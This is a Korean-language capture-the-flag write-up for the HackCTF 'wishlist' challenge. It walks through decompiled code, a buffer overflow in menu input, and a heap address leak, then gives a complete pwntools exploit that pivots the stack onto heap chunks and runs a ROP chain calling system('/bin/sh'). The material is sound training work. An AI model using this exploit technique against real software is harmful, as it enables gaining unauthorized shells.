본문 바로가기
Wargame Write-Up/HackCTF

(HackCTF) wishlist writeup

by snwo 2022. 2. 24.

TL;DR, no heap ex, ROP with stack pivoting

puts("1. make wish");
puts("2. view wish");
puts("3. remove wish");

make, view, remove 할 수 있는 heap challenge

__int64 sub_4008A7()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  printf("input: ");
  read(0, buf, 0x20uLL);
  return (unsigned __int8)buf[0];
}

1,2,3 번호입력할 떄 사용하는 함수. buf[0] 을 리턴하긴 하지만 ret address 까지 덮을 수 있다. 수상하다

1. make

__int64 sub_400910()
{
  int v0; // ebx

  v0 = count;
  (&ptr)[v0] = (char *)malloc(0x18uLL);
  printf("wishlist: ");
  read(0, (&ptr)[count], 0x18uLL);
  return (unsigned int)++count;
}

0x18 의 고정된 크기의 힙만 할당받을 수 있고,

ptr 내에 할당받는 횟수는 제한이 없다.

2. view

int sub_40097F()
{
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 9 )
    exit(1);
  return puts((&ptr)[v1]);
}

index 0~9 에 해당하는 힙만 출력해준다.

3. remove

__int64 sub_4009DD()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 9 )
    exit(1);
  free((&ptr)[v1]);
  result = v1;
  (&ptr)[v1] = 0LL;
  return result;
}

마찬가지로 index 0~9 의 chunk 만 해제할 수 있고, 해제 후에는 0으로 초기화해서 DFB 방지.

stuff

int sub_4008FF()
{
  return system("~!@#$");
}

system 함수가 있다. PIE 가 없어서 자유롭게 사용 가능하다.


exploit

적당히 할당하고 해제하면, FD 가 남아있어서 heap base를 구할 수 있다.

malloc(0x18) * 3 → free(0), free(1) → malloc(0x18) ( index 1 에 있던 chunk 할당 )

FD 에 index 0 에 해당하는 chunk 의 주소가 적혀있다.

1바이트는 덮을 수 밖에 없어서, 1바이트 날리고 heap base 를 구할 수 있다.

메뉴선택할 때, BOF 가 발생하므로

fake_stack+leave;ret 으로 stack pivoting

(여기는 heap chunk)
fake_stack+0x00 : 아무거나 와도됨

fake_stack+0x08 : pop rdi;ret;

fake_stack+0x10 : address of /bin/sh (in other heap chunk)

fake_stack+0x18 : system@plt

힙에 0x18 밖에 입력못받아서, rbp 에 chunk-8 의 주소를 넣어야한다.

여기서 또 문제, system@plt 를 호출해 system 함수의 주소를 가져오는 과정에서, 스택을 좀 사용하는데, 힙 공간이 스택으로 사용하기에 작아서 터진다.

→ 힙은 아래로 자라서 chunk 를 많이 생성한 뒤, 밑에 있는 chunk 를 fake_stack 으로 사용

from pwn import *
import sys

context.binary = binary = "./wishlist"
# context.log_level='debug'
context.arch="amd64"

b=ELF(binary,checksec=False)
if '1' in sys.argv:
    r = remote("ctf.j0n9hyun.xyz", 3035)
    #    lib = ELF("./libc.so.6", checksec=False)
else:
    r = b.process()
    lib = b.libc

def add(content="x"):
    r.sendlineafter("input: ",b"1")
    r.sendafter("wishlist: ",content)
def view(index):
    r.sendlineafter("input: ",b"2")
    r.sendlineafter("index: ",str(index).encode())
    data=r.recvline()
    return data
def free(index):
    r.sendlineafter("input: ",b"3")
    r.sendlineafter("index: ",str(index).encode())
prdi=0x00400b03
leaveret=0x004008d8

add()
add()
add(b'x'*0x10+b'/bin/sh\x00')
free(0)
free(1)
add()
add()
pause()
heap_base=u64(view(3).strip().ljust(8,b'\x00'))&(~0xff)
log.info(hex(heap_base))
for i in range(200):
    add()

add(p64(prdi)+p64(heap_base+0x60)+p64(b.plt['system']))
pivot=heap_base+0x70+0x20*200-8
pay=b'x'*0x10
pay+=p64(pivot)
pay+=p64(leaveret)
r.sendlineafter("input: ",pay)

r.interactive()

힙주소는, 16.04 에서 디버깅하며 구하니까 정확하게 구할 수 있었다.